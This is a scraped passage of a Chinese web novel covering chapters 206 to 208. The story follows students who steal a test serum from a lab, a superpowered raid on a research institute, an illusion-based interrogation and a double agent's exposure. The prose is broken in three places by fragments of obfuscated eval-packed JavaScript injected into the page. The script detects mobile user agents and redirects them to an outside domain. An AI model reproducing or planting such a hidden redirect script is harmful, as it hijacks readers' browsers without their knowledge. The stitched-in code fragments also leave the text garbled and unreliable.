d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339802|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，之前又没亲自上阵，唉。” “别闲聊了，把手里的工作弄好，绝对不能出问题知道么？”女研究员终于出言打断，其他人也赶紧噤声，低着头把辅助的药剂调配好。 要用的东西其实并不多，只是不能出纰漏。 “滋——” 大门突然被人刷开，所有人的注意力都下意识转过去，便看见今天的两位主角。 “你们来了，稍等一会吧。” 简初随手将背包放在门边，视线不着痕迹扫过那排储藏柜，狭窄的玻璃窗内仍然能看见那根试管的顶端，以及一点点透明的液面。 按照计划，黎取已经利用内部权限侵入了军校研究所的系统，以防程源在里面额外安装了什么监控，他直接切断了这间实验室与外界的全部联系。 灯光微微闪了闪，很快又恢复正常，众人只是觉得奇怪，但并没有多重视。 莫景正在接受检测，简初并不打算把这段时间浪费掉。 “之前老师跟我提过你们这个项目，不过我还是想问问，之后的实验是怎么安排的？”简初温温吞吞，一副好脾气的模样，“比如我平时需要注意什么，然后多久需要进行下一次注射之类的情况。” 研究员们的准备工作都已经结束，听见她这么问，自然也乐意用这段碎片时间说明情况。 “每二十一天进行一次注射，诶说起来最近有送原料过来么，这次打完就只剩一支备用药剂了。” 话说到一半，这位女研究员突然想起什么，转头看向坐在实验台后的另一名同事。 “我没有收到通知啊。” 其他几人也纷纷摇头。 闻言，简初微微蹙起眉头，她之前猜测过每个阶段都要注射不同的药剂，现在看来似乎并不是这样。 “这样啊，回头我和院长联系一下吧。” 简初找准时机，恰当开口：“我每次注射的药剂都是一样的么？” “对。”那名女研究员毫不设防，但这确实又不是需要严格保密的内容，更何况程源已经正式通知13号参与实验，作为自己人，这些小问题没必要藏着掖着。 让她们放心配合实验，也是很重要的一环。 “准确说目前是最新的版本，效果比较好，之后或许还会更新，到时候也要麻烦你们了。” “啊，这是我应该做的。”简初露出腼腆的笑容，微微扬起下巴，不着痕迹瞥了眼监控。 莫景的检查也刚巧结束，她轻车熟路从一起上下来，便坐到一旁的椅子上，就这么准备接受注射。 尽管预先了解过情况，但直接目击这简陋的现场还是让人震惊。 “滴滴滴”的解锁声响起，简初的余光瞥见那名女研究员用半个身子挡住密码输入的界面，顺利打开了柜门。 白色的雾气瞬间喷涌而出，简初按耐住想要动手的欲望，看着她捧起两根试管转过身来。 试管的透明液体就像纯净水一样澄澈，很难想象是这样的东西在莫景的精神空间内引起异变。 一旁的研究员立刻走上前关闭柜门，简初趁机瞄向柜子内部，确实看见里头只剩下一根试管。 看来他们没有说谎。 简初的心脏砰砰直跳，紧紧盯着那名女研究员把两根试管放在托盘里，紧接着摘下厚厚的隔离手套，伸手摸向一旁还未拆封的注射器。 “嘶啦！” 塑封袋应声而开，简初伸手挠了挠鼻尖。 “啪！” 实验室陷入一片黑暗。 206. 镜中花（27） “怎么了！” 几名工作人员不约而同发出惊叫。 军校研究所也不是没有发生过断电事故，但因为有备份电源的支持，完全可以在断电的第一时间续上，甚至灵敏到完全看不出断电的痕迹。 但现在已经十几秒了，灯还没亮，而实验室内没有窗户，所以完全是伸手不见五指。 女研究员心下一慌，赶紧伸手摸向托盘，想要保护最重要的药剂，可入手冷冰冰，完全没有试管的踪迹。 东西呢？！ 她紧咬牙关，忍住想要呼喊的欲望，手脚发软地扶住桌边，而就在下一秒，白光大盛，所有的灯全部亮起，把整个实验室照得没有一丝阴影。 所有人脸上都是一副惊慌失措的表情，她赶紧低头，却看见两根试管完好无损地躺在那里，距离她的手掌只有不到一公分的距离。 绷紧的弦猛然放松，她只感觉血压忽升忽降，眼前一阵发黑，好一会才缓过神来。 “这是怎么回事，怎么会突然断电？”一旁的年轻人心有余悸，连忙上前扶住她，“我去问问？” “算了，反正之后肯定会发通知。”女研究员出言阻止，她的目光从皱着眉头的莫景身上扫过，又看了眼几步开外的简初，稍稍放下心来。 看来只是一场乌龙。 “我们继续。” 她没有再去管掉落在地的针筒，而是重新从旁边抽了一个全新的，摁下尾部的按键，试管内的液体被瞬间抽吸得干干净净。 “把胳膊给我。” 针管扁平的尖端贴合上莫景手肘内侧最细嫩的肌肤，“噗嗤”一声轻响，所有的药剂便全部涌进身体，只在皮肤上留下一个小小的圆形红痕。 事情重新走上正轨，接下来就也就尤为顺利，简初也按照流程，完成了药剂的注射。 这几位研究员肉眼可见地放松下来，脸上也露出些微的笑意。 “这样就好了，这几天你们尽量不要动用精神力，之后可以正常用，但要注意不能过度消耗。” 那名女研究员随手将两根试管扔进专用的垃圾箱，和其他的实验废弃物混合在一起，这倒是有些出乎简初的意料。 “我送你们出去吧。”一旁的年轻人很有眼色地凑上前，“你不用太担心，这个版本的药剂莫景已经注射过好几次，不会影响你身体情况的。” 大概是误会了简初微微皱眉的表情，他很是善解人意地解释道，一边还引着两个人往门外走。 “嗯，谢谢。”简初低低应了一声，弯腰随手拎起门边的背包。 大门打开，外头的工作人员几乎是齐刷刷抬头，用自以为很隐晦的眼神打量着两人，又迅速低下头，一副正在忙碌的样子。 年轻人把她们送上电梯，自己则在门外驻足：“我就不送你们下去了，记得到时候过来就行。” 电梯门缓缓合上，上面的数字开始不断跳动，两人交换了一个眼神，并没有说话，却终于让莫景放下心来。 灯光骤暗，人的眼睛显然无法迅速适应，而她当时离灯光最近，自然就按照计划抢先拿走了两根试管，但也许是因为太紧张，手心出汗滑了一下，本以为试管会坠落在地，结果却一直没有听到声音。 然后另一支试管也被人接走了。 也不知道那短短二十几秒，简初究竟是怎么悄无声息地走过来，准确拿走东西，又迅速站回了原地的。 一旁的女生面无表情，搞得莫景也不敢说什么，只能老老实实低下头看着脚尖，殊不知对方揣在口袋的手指正死死掐住那根缠绕在试管上的小触手。 怎么个事，抓住还不撒手了？ “叮！” 电梯门应声而开，两人走出研究所的大门，简初才回头看了一眼。 “你先回去好好休息吧。” 莫景愣了愣：“好，那你……” 简初没回答，只是伸手拍了拍她的肩：“至少这21天不用担心什么了，就当给自己放个假，别一直那么紧张。” 她不免想到在衔尾巷的短暂相遇，时至今日，莫景应该都还不知道那一夜究竟发生了什么，而简初当然也不想让她知道。 就当做自己真的不记得曾经的事情，一切都从这里重新开始吧。 …… 两个小时之后，傅燃和左虞珩拎着包装成文件袋的液氮箱来到了联研所。 “所以我在中间到底发挥了什么作用？”左虞珩絮絮叨叨，“你确定这样我就能拿到实习名额了么？” 这是不是有点太草率了…… 傅燃目不斜视：“当然……不行。” 话刚说完，他自己似乎都有些忍不住，强行咽下了嘴边的笑意，赶在左虞珩发毛之前再次开口。 “你确定要从现在就开始参加实习？我记得你今年的课并不算少。” “再多能有你多么，你行我怎么不行？”左虞珩梗着脖子，“反正现在……没课的时候我也挺无聊，找点事做做。” 他低下头抠了抠手指，故作平静。 傅燃垂下眼，没有再说什么，等他们来到因思禾的实验室，里面的人早已等候多时。 “东西拿到了？”带着护目镜的女人抬起头，露出的那张脸让左虞珩吓了一跳。 “这效率有够高的，我又得刷新一下对你的认知了。”因思禾平静接过了箱子，“这个小朋友是来做什么？” 鉴于是傅燃带过来的人，她很给面子地没有直接赶走。 “这东西可不是我弄到的。”傅燃轻笑一声，“我只是提供了一些小小的帮助，东西是她们俩弄出来的。” 这下因思禾倒是有些惊讶了。 并不是她瞧不起谁，毕竟相比之下，这几个人的战斗力，包括任务经验明显都是傅燃要厉害得多。 “没被怀疑吧？” 傅燃摇摇头，余光瞥见左虞珩跟着傅遥离开了实验室，才一五一十把前后始末转告给了因思禾，换来对方一句意味深长的感叹。 “另外，她还听见研究员们讨论原料的问题，他们用的大多数都是军校研究所固定收购的基础原料，但只有最关键的那一份，是由程源定期提供的，没有人知道他是从哪里弄来的，也不知道那究竟是什么成分。” “不知道什么成分？”因思禾带上手套，小心翼翼把白雾中的试管取了出来，“是分析不出来，还是程源不允许他们接触原料？” 傅燃摇摇头，眼神紧盯着那两根被移送到保险柜的试管：“这就不知道了，不过我们猜测是前者。” 经历了这么多次更新，研究员们肯定要对药剂成分进行无数次分析，但为什么会分析不出来，也是有很多种原因的。 可能是从未被发现的成分，也可能是原料成分和其他内容物发生反应，从该掩盖了自身存在的痕迹，不过这样一来，药剂分析的工作难度就很大了。 但东西已经交给因思禾，剩下他们也帮不上忙了。 …… 另一边，傅遥带着左虞珩来到一个僻静的角落。 她确实之前就拜托过傅燃，看看学校里有没有什么好苗子可以引荐一下，队里实在是太缺人了，等着上头分配还不知道要到什么时候，不如主动出击，招几个实习生，到时候顺理成章留下来。 倒是没想到他还记着这事，只不过……这个男孩子怎么有些眼熟。 此时，站在这里的两个人都以为对方是傅燃帮忙找来的，只能说实在是个美丽的误会。 “傅阿姨……”左虞珩左想右想，只能尴尬地喊出这个称呼，“我是左虞珩，小时候去你家里玩过……” 当时还打碎了对方家里的花瓶来着，实在是太丢人了。 傅遥绞尽脑汁，勉强找回了一点记忆，实在是见过太多调皮捣蛋的孩子，左虞珩在其中已经算是乖巧了。 尽管记忆还是相当模糊，傅遥也一副“我想起你”的模样，笑眯眯开口：“那感情好，正好你到我队里来，我们的队员都很好相处的，大家一直在等你呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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嘈杂的人声里，伊森·斯塔紧紧皱着眉头，他的目光扫过屋子里所有人明确并没有发现什么异常，可高等级的精神力让他的第六感远远超过普通人，现在心中的不安可不是假的。 不会是冲着无人区的样本来的吧？ 这个念头刚刚闪过，召集安保前往集中实验室，也就是他们此时此刻所处位置的通知就在头顶响起。 所有人都吓得不行，手忙脚乱开始把样本往保险箱里送。 作为研究人员的第一本能，就是保护好珍贵的样本，尤其是这种丢了就很难有第二份的样本。 可现实并没有给他们太多的反应时间，抢在安保人员之前到达的，是大门外的轰炸声。 “砰砰砰”的声音在门外不间断响起，像是炮弹，又像是有什么怪物在外头用力锤门，多亏了实验室的建造成本，才让这坚硬的大门把一切伤害默默揽下。 研究员大多没有什么战斗力，遇到这种情况只能往后退，挤在离门最远的角落里，其中有几个觉醒了异能的人只能硬着头皮站在最前面。 “哦哟，里面居然有这么多人？” 一个笑嘻嘻的声音突然在众人头顶响起，大家悚然抬头，却只看见一个圆滚滚的脑袋从天花板中冒出来，剩下的全都嵌在墙体里，根本看不见。 他们只能眼睁睁看着那个脑袋沿着墙滑下来，在大门边伸出了手…… 她要解开门锁！ 伊森心下一沉，毫不犹豫滑步向前，下一秒大门上的电子锁便爆开凌乱的电火花，随着“噼噼啪啪”的爆炸声，瞬间变成一堆焦黑，甚至顺着金属质的门板，直接蔓延到了那个脑袋上。 “啊！！！” 一声凄厉的惨叫，那脑袋转过来，眼神中满是怨毒，却是往下一沉消失在了屋内。 走了？ 伊森喘了口气，内心的不安却变本加厉，他心跳如擂鼓，开始砰砰冲击耳膜。 “砰！” 门外突然爆出一声前所未有的巨响，在所有人惊恐的注视之下，坚硬的门板终于发生了形变。 门要破了！！！ 207. 镜中花（28） “人还真不少。” 终于，实验室的大门被不知名的力量硬生生砸出一个碗大的洞，一张脸就这么明晃晃地出现在了里面。 “诸位，要是还想好好活着，麻烦把你们手里的东西交出来吧。”飓风微微躬下腰，露出一个笑容，但手上却毫不客气，旋风如高速旋转的转刀，从门板上的豁口闯进来，顷刻间将其撕扯得更大。 他身后站着一个表情难看的女子，她的侧脸还有一道灼伤的红痕，正用不善的眼神紧盯着房间内的伊森。 “滴滴！” 实验室的大门终于不堪重负，彻底向两边张开，也完全露出门外站着的几个人。 伊森忍不住握了握拳头，而就在此时，不远处的走廊尽头突然传来嘈杂的人声，飓风微微蹙眉，朝身旁抬抬手，便有两人向声音来源的地方跑去。 只有两个人，就想拦住联研所的安保力量，他在做什么梦？ “涟漪，动手。” 门外的壮汉一声令下，那女子紧接着冷笑一声，整个人瞬间就坠落下去，融进了地板。坚硬的地面荡漾起几乎不可能存在的波纹，一马当先窜到了伊森的面前。 落雷预判着她的位置，接连不断在地上砸出焦黑的坑，却丝毫不能阻碍她前进的步伐——只要完全融进这样的绝缘材质中，伊森的异能就无法伤害到她。 桌面上还有来不及收拾的样品和材料数据，尽管最珍贵的那部分已经被收进保险柜里，但就算是这些，被人这么抢走也是够呛。 更何况从现在局面看来，保险柜的那些恐怕也不安全。 旋转而来的风将桌面的纸张卷得满天乱飞，一下子激起了几名研究员的怒火，瞬间满室异能乱飞，也不管有没有用，先咋出去再说。 “飓风！” 一声清亮的呵斥，黑影如同捕食的鹰扑飞而至，干脆利落的高抬腿直击壮汉面门，他这会正准备进入实验室，一时不察被对方直接踢中面颊，整个脑袋转向另一侧，连带着整个人都站立不稳，“噔噔噔”后退几步才停下。 傅遥没有给他多余的反应时间，翻身落地紧接着又是一个勾拳，但这次却被对方挡了下来…… 异能薄薄覆盖在她的手臂上，但这一拳轰下去，却和飓风掌心喷涌而出的旋风对撞，紧接着被推拒开来，着力点不受控制的滑向另一侧。 “傅遥。”飓风恶狠狠地从齿缝中挤出几个字，“你果然还在这。” 这下几乎可以确定，他们从无人区带回来了很重要的东西，否则特战中心完全没有必要让她留驻在此。 今天真是来对了。 飓风猛地挥出右手，一道凛冽的风刃迎面而来，傅遥瞳孔骤缩，下一秒眼前却出现一道光罩。 风刃硬磕在上面发出刺耳的噪音，两三秒之后却陡然消散。 “幸好赶上了！”左虞珩气喘吁吁，平时课上以为自己的体能已经算得上很厉害了，但相比之下真是完全不够看啊。 另一边，实验室内耳朵材料被风卷散在空中，可温弗拉毕竟人手有限，不可能将所有东西一起带走，只能选择他们认为最重要的那部分。 涟漪对保险柜里的东西虎视眈眈，但那个碍眼的家伙在上面加了好几层高伏电压——那柜子可不是绝缘的，她但凡敢伸手碰一下，怕是都要吃尽苦头。 但伊森的脸色也有些发白，要将这个异能用到具有杀伤力的地步，对他来说是极大的消耗。 “把这玩意解开。”涟漪从地板上冒出来，随手掐住一个研究员的脖子，扯到身前来，“要不然……” “唰——” 她话还说完，门缝就中却飞进来一个小小的黑影，它擦过实验室中的风圈，斩钉截铁地刺入了她的后肩。 “唔！”疼痛让涟漪的手臂一麻，伊森见状，趁机上前一步把那名腿软的研究员拖了回来。 “该死的……”她反手攀上肩头，用力将上面的东西拔了下来，低头一看确实一支普通的黑色签字笔。 联研所里不允许随身携带高危武器，所有装备都在安保室里，但他们几个人是直接过来的，所以都称得上是赤手空拳。 而他们身后，安保队伍也冲了过来，被飓风派出去阻拦的两人已经被完全制服。 “真没用。”飓风轻嗤一声，抬手接住风圈中央的几个样本，“涟漪。” 他只是喊了对方的名字，其余什么指令都没有下，但女子显然明白整个计划，扔下签字笔恶狠狠瞪了年轻人一眼，又瞬间钻进了地里。 傅燃蹙起眉，想要阻拦，但对方在地板上完全是来去自如，只要她不冒头，坚硬的建筑材料就是最好的防御手段。 那道荡漾的水圈转头向门外而去，眨眼间就窜到那两个被安保摁住的人面前。 “不好，她要救人！” 傅燃毫不犹豫冲了过去，就看见地板上伸出的手一左一右抓住了那两人的衣领。 地板迅速“融化”，他咬紧牙关，挥手放出了异能。 前所未有的丝滑，他从来不知道使用异能竟然会是这种感觉，没有任何不适的拉扯感，就像是自己身体的一部分，听从大脑的意志，精准地飞了出去。 一个人被直接卡在了地板里，但另一个却被涟漪成功拽了下去，大理石的地面上翻出几朵小小的水圈，两三秒之后就完全沉寂了下去。 “砰！” 身后不远处，飓风抱着满怀的样本和材料，朝他们露出一个得逞的笑容。 “今天还算愉快，下次再见。” 地面上探出的手抓住他耳朵脚腕，下一秒，飓风整个人就像坠入水面一样，“噗通”消失在了所有人面前。 傅遥冲过去，但荡漾的水圈却拒绝她的进入，甚至如同示威一样在周围转了一圈，才彻底消失。 整个实验室重新恢复了安静，只有满地散落的纸片和尚在惊恐中的研究员们证明着刚刚发生的一切。 “……把他带回特战中心，好好审审。”傅遥扭头，看向那个被嵌在地上的男人，对方满脸战战兢兢，挣扎着想要从地里出来，却依旧纹丝不动。 胡宣终于从最角落里探出头来，看见狂风过境的满地狼籍，眼前一黑差点就晕过去。 “大家……赶紧清点一下，看看丢了些什么啊！” 研究员们如梦初醒，互相扶持着站起来，但久久不能回神。 傅遥没心思再管这些事，转头看向身后两个年轻人：“你们俩留在这协助，我先回去一趟，有什么事先找因思禾，实在拿不定主意就跟我联系。” 她倒要看看，飓风这个狗东西究竟在计划什么。 …… “阿嚏！” 简初猛然从床上坐起来，打了个响亮的喷嚏。 她平时难得会午休，但今天下午没课，本来的训练计划也因为那几个人都不在，让她也没了兴致。 大概是因为注射了替换的营养剂，今天精力好像有点过剩，也没睡多久就醒了。 她打开搁在一旁的终端，什么消息都没有。这也是他们事前约好的，如果没有意外情况就不要联系，算算时间，这会傅燃他们应该已经抵达主星了。 东西交到因思禾手里也好，简初清楚自己没办法弄清楚那药剂里的成分，但对方手里有联研所的资源，查起来困难肯定要小很多。 可不知道为什么，这会有种心悸的感觉。 简初伸手捂住胸口，忍不住蹙紧眉头，但却并没有好转，而是越来越明显了。 “噔噔噔！” 系统的音乐声猝不及防响起，但现在完全没有看上去能触发任务的事情发生，这让简初忍不住屏住呼吸。 它要说什么？ 可好像是信号不太好，嘶嘶啦啦的声音传来，系统却没能说出一句完整的话来，过了一会它好像放弃了，周围顿时又安静下来。 “什么意思？”简初喃喃，“你要说什么？” “离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363461|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她猛然瞪大眼，下意识抬头看向虚空中，但这道声音转瞬即逝，如同幻觉一样不留一点痕迹。 这声音……有点不像系统之前的声线。 “离开？要我去哪里？”她试图和对方交流，但却没有得到任何反馈，下一秒，心口突然抽痛，简初捂住胸口，扶着一旁的桌子才勉强稳住身形。 内心深处涌出强烈的不安，简初用力喘了几口气，等这阵疼痛过去，才慢慢站直身体。 房间里传来噼里啪啦的声响，几个呼吸之后房门被人猛地拉开，拍在墙上发出一声巨响，又慢悠悠弹了回去。 宿舍里已经空无一人。 …… 禁闭室里四处封闭着，一个男人被手铐脚镣，甚至颈链紧紧锁着，只能坐在中央的椅子上。 他头上被罩着，什么都看不见，整个人都透着恐惧。 “滴——” 突然，房间四周传来漫长的声响，他下意识昂起头，努力倾听里面传来的人声。 “没什么话要说吗？”傅遥站在外面的隔间里，双手抱胸面色冷然，而周围的工作过人员正时刻关注着禁闭室里的动向。 那男人咽了咽口水，故作冷静：“说……说什么？” 他时刻牢记着飓风的叮嘱——想要为家人留下最后那笔财富，他必须要这么做，这是之前就说好的。 轻易得来的东西没人会在意，要让这群人相信自己，他必须努力扮演一个硬骨头。 但这架势已经足够吓人了，哪怕锁着他的只是普通的精制钢链，男人都觉得上面连通着这么可怕的装置，只要那边的人不满意，随时可以进行非人的折磨。 “说什么？”傅遥笑了笑，“当然是所有，你们能进得去联研所也是厉害得很，但是这里……” 话不用说满，大家都知道其中的意思。 这几年以来，针对温弗拉的作战行动开展了不少次，虽然两边大多都是在互相试探，但也抓了些人，特战中心也借此完善了对于这个组织的画像。 很明显，这些年温弗拉开始变得不安分起来。 “不说也行，我们会好好招待你的。”傅遥微微侧头，她身边一个中年女人就微微颔首，上前一步，透过强化玻璃俯视着禁闭室内的人影。 点点荧光在她眼中亮起，一个与现实相差无几的幻境迅速搭建起来。 哪怕是亲眼看着，都很难发现异样，更遑论里头的男人。 下一秒，他突然绷直双腿，嘴里发出惨烈的哀嚎。 “啊啊啊！！！” 周围什么都没有，但他却如同被剥了皮的蛇在椅子上不断扭动，如果不是被链子锁着怕是已经要躺在地上翻滚。 “停。”傅遥面无表情，“现在有话想说吗？” 那男人终于有了喘息的机会，整个人几乎虚脱地瘫在椅子上，身上的灰色囚服也被汗水浸透。 “我……”他脑中的思想在交锋，一边是飓风的“硬骨头”论，另一边则是即将崩溃的意志力。 这群人……比他想象得还要狠。 他并不知道刚刚经历的一切只是幻觉，甚至对于自己还能清醒地活着这件事感到绝望。 “我……” “没话说就继续。”没等他说出后面的话，傅遥就打断了，“你的终端里有个加密锁，啊，我不是找你要密码，反正迟早也会被解开的。” 男人嘶哑地哀嚎着，只能勉强分出精神来听她的话。 真的……坚持不下去了…… “我说！我说！” 他以为自己用尽全力在呐喊，但声音却细若蚊蝇。 “我把密码告诉你，我把我知道的都告诉你……” 疼痛如潮水般退去，他手脚摊开，几乎是用腰椎将自己支撑在冰凉的椅子上。 工作人员将男人报出的一串漫长数字输入，终端备份瞬间就被解开。 “队长，终端里有东西！” 208. 镜中花（29） [紧急通知：由于设备整修，联邦军校星舰港暂时禁止出入，有出行船票的教职工及学生可向精卫申请三倍赔偿，带来不便请各位谅解。] 手腕上的终端轻轻振动，简初挎着包匆匆瞥了一眼，才发现是统一发送的短讯。 之前的设备整修都是提前一周通知到位的，今天怎么这么突然？ 简初心脏突突跳着，强烈的不安席卷而来，她突然停下脚步，深吸一口气拨通了无影的通讯。 “喂，无影。” 那头听见她的声音才敢开口，但对于这突然的联络，无影有些摸不着头脑：“苍耳？有什么事情吗？” 最近组织内部很安静，并没有什么特殊的行动任务，他都感觉自己快要长毛了，苍耳就更没有理由主动联系他了。 “帮我个忙。”简初迅速说道，“学院星的星舰港突然开始设备整修，你帮我查一下这是不是真的。” “什……什么东西？”无影嘴上这么问，但对方声音急切，让她下意识就打开了面前的数据屏，“你别急，我来看看，你那边是发生什么事了吗？” 简初没有回答他这个问题，而是乘上了一辆摆渡车，学院星上不只有联邦军校一所院校，她可以先去别的地方看看。 那句“离开”实在是太模糊了，她是要离开宿舍，还是离开学校，甚至或是要离开学院星才行？ “你能不能快点？”简初忍不住催促道，摆渡车上的其他学生看了她一眼，又习以为常地低下了头。 车窗外的景象飞速后退，通讯的另一头传来“滋滋”的电流声，简初看着天空一时之间不知道该想什么，可下一秒，几个迅速放大的黑影却突然占据了她的视野。 那是……星舰？ “我看去学院星的星舰并没有误点，你确定在设备整修？”无影迅速翻找了联邦星舰流转的实时数据，学院星的几个港口都是绿色，意为正常使用，“或许只是点小问题，已经修好了？” 他不免觉得苍耳有些小题大做：“你到底是什么情况？” 简初看着那几个黑点逐渐下落，随后消失不见，忍不住握紧了拳头：“没什么……” “啊不对！”无影突然“嘶”了一声，“我刚刚切换了始发地，怎么学院星现在只进不出了？里面在搞什么？” “所有港口？”简初连忙追问。 无影嘟嘟囔囔，却没有找到学院星今日有什么大事件，一般会限制出入的就是大型活动，或者重要人物来访，但公开的信息里都没有，难道是未公开的私密行程？ “无影，你在做什么，路亚找你呢。” 桌面突然被人敲响，他茫然抬起头，对上同事疑惑的表情：“路亚找我？” “对啊，说你内线被占了，就打到我这儿来了，你在跟谁联络呢？” 无影含糊点点头：“我马上就去。” 见同事不再好奇，他才摇摇头，朝通讯那头的人开口：“我这边有点事，待会再跟你联系，不过我们最近没有相关的任务行动，你别太担心。” 摁掉通讯，他就敲响了路亚的房门，可里面却传来女人压抑着怒火的嗓音。 “那群蠢货！一句不好意思就轻飘飘就想揭过去？明明没有那个能力，还敢自己行动，要是有后勤组会闹成现在这样吗？！” 无影顿时进退两难，但路亚微微点头，示意可以进来，他也只能硬着头皮坐在了沙发上。 好尴尬啊，骂了别人就不能骂他了，他最近没做错什么事啊。 “总之，我不接受，你来说和也没用，有本事他们以后都别来找后勤帮忙！” 路亚怒气冲冲地挂断通讯，猛地仰靠在椅背上，力道大得让椅子都在原地转了一圈。 “呃……老大找我有什么事吗？”无影抿抿唇，小心翼翼开口，“最近没做什么事啊。” “你刚刚在和谁联络？”女人站起身从办公桌后面绕出来，一双眼锐利到让他心头发慌，“是不是苍耳？” 无影赶紧点头：“您怎么知道，她有点事来问我。” 路亚眯了眯眼：“有事问你，什么事？” 两人的交谈内容在无影看来并没有什么太大价值，虽然不知道路亚为什么会突然关心苍耳，但他还是老老实实把情况转述了。 “就是这样，她有些草木皆兵了，大概是之前几次任务失败留下了阴影吧。” 但路亚的表情却变得十分严肃，她长长叹了一口气，颇为头疼地揉了揉额角：“已经到这种地步了么，动作太快了……” 这话的含义相当不妙，无影愣了愣，舔舔嘴唇小声开口：“是发生什么事了吗？” 女人单手叉腰，在办公室来回踱步：“飓风他们自己出了一次任务，没找我们协助，结果有人被抓了，那个人的终端里留存了一份文件，他们组今年的几次行动记录没删干净。” “今年的行动记录……”无影嗫嚅着，忍不住咽了咽口水，“那其中不就有……” “苍耳暴露了。” 路亚心里清楚，对方刚刚转正，对于组织内部的情况大多都是不清楚的，就算被抓走也不是什么损失，但重点是飓风捅了这么大的篓子，如果轻轻揭过，岂不是把他们后勤组的脸踩在了地上。 这不光是两个部门之间的矛盾，旧派的几个高层也表达了相当的不满，现在所有的压力就落在了路亚的肩上。 约瑟夫风头正盛，而飓风是他的得力下属，显然不能太过强硬地对着干，但如果闷声不吭，那旧派的话语权又会被削掉一层。 “他们是故意的。”路亚咬牙切齿，胸膛剧烈起伏了几下，“他们那几个老油条早就在特战中心记上号了，只有苍耳……是我们的暗线。” 无影脑子里乱糟糟的，所以这算是新派的试探，还是宣战？两边艰难维持的平衡要被打破了吗？还是温弗拉要一拆为二，直接分裂了？ “无影？无影！能不能认真听我说话！”路亚一巴掌拍在他脑袋上，直接把人拉回了现实，“现在还能走神，真有你的，刚刚我说的都记住了吗？” “啊？” 路亚：…… 有你是我的福气。 “去想办法，把苍耳捞出来，我会让其他所有人都配合你，包括我。”她捞起椅背上的衬衫外套，大踏步推开了办公室的门，“别愣着，时间要来不及了。” …… “人现在在哪？” 一个身量颇高的男人从星舰上走下来，他和傅遥看上去年纪差不多大，双手插兜看着还挺自在。 “已经根据学校内的监控和终端定位到了，不知道是不是收到什么通知，她突然离开了宿舍。”席如风走上前，神色看上去并不轻松。 天知道她收到特战中心的消息时有多震惊，学校里竟然潜伏了一个如此危险的角色，不知道这些年对方究竟暗中做过多少事，之后怕是要彻查一番了。 “行，那我们先过去了，校长您就别跟着了。”男人笑了一声，看向一旁沉默的傅遥，“怎么摆着张脸，听说你们和她在无人区关系还不错，哼哼，怎么连因思禾也看走眼了？” “闭上你的嘴。”傅遥抬起眼皮瞪了他一眼。 萧若愚举起双手做投降状：“得，有气也别给我撒啊，当我没说。” 傅遥彻底不搭理他了，蒙头就往席如风提供的坐标点冲。 她现在还不能完全反应过来，为什么会从那份文件里看见简初的照片，甚至上面还标注了她曾经参与的行动，这简直就是把情报往特战中心手里送。 太奇怪了，以前抓到过那么多人，从来没有出现过类似的情况，让她不得不往“栽赃陷害”的方向想。 但事情发展到现在，她的想法已经没有任何意义了，上头发话必须把人抓回来，甚至因为他们在无人区与简初一同行动的缘故，把萧若愚抽过来“帮忙”了。 男人表面看上去很轻松，但心里却并不是如此。 在出发之前，上头给他看了一份材料，是无人区行动汇报中有关简初的部分内容，这一看，其中的疑点就多了。 一个只有辅助异能的小姑娘，在被人掳走后不仅没有受伤，甚至神奇地出现在了无人区腹地，就连最后杀死那只怪物，她都在其中出了不少力。 这显然不是一个在校生该有的能力水平，更何况她都不是作战学院的学生。 恐怕就连登记的异能也是假的。 …… 作为后勤部的负责人之一，路亚有个其他人都羡慕的权限，那就是调度温弗拉基地现存的唯二星舰——之一。 这是个老家伙，放在联邦军方早就过了服役期，但对于温弗拉来说，这也是个不可多得的宝贝。 她已经很久没有这么愤怒过，自从那个人失踪之后，他们对新派都是一忍再忍，毕竟对于温弗拉来说，少了哪一半都会大伤元气，但现在看来约瑟夫似乎并不是这么想。 这是一个待吹的号角，如果这次他们继续忍让，那接下来此类的情况必定层出不穷，直到他将整个旧派完全吞并。 “老大，我这会联系不上苍耳了。”无影头上已经渗出汗珠，手上拨出的通讯全部石沉大海，“是不是已经来不及了？” “不管这些，我们都得去看看。”路亚一声令下，地面突然开裂，积攒的陈年旧雪落在灰扑扑的星舰上，幽蓝色的火焰推地而起，眨眼间消失在了天际。 窗外的流光转瞬即逝，她瞥了眼仍然在尝试联系对方的无影，还是叹了口气：“别打了，她估计已经把终端丢了。” 联邦军校统一发放的终端，如果苍耳已经意识到不对，恐怕不会把这个能直接定位到她的东西带在身上。 “那我们怎么找她？”无影吸吸鼻子，窗外已经能远远看见那颗小小的人造卫星。 路亚无可奈何地叹气：“查她坐的那辆摆渡车，然后沿着那条线路向外检索异能信号。” “星舰不用降落，找到人我直接出去把她带回来，尽量别和特战中心起正面冲突。” …… 正如路亚的猜测，在经过某个无人的站点时，简初已经先一步下了车，而终端则被她关机，留在了摆渡车上。 既然已经知道所有港口都被封锁了，那她也没必要特地跑过去了。 如果一切与自己无关，那就是虚惊一场，但如果真的发生了什么，这完全就是瓮中捉鳖的架势。 虽然很不想承认自己是那只鳖……但学院星很特殊，如果没有星舰，她长翅膀也没法从这飞走。 “系统……现在是我最需要你的时候，能不能多给点提示啊。”简初轻轻叹了一口气，眼神谨慎地扫过周围，但就连精神力反馈的 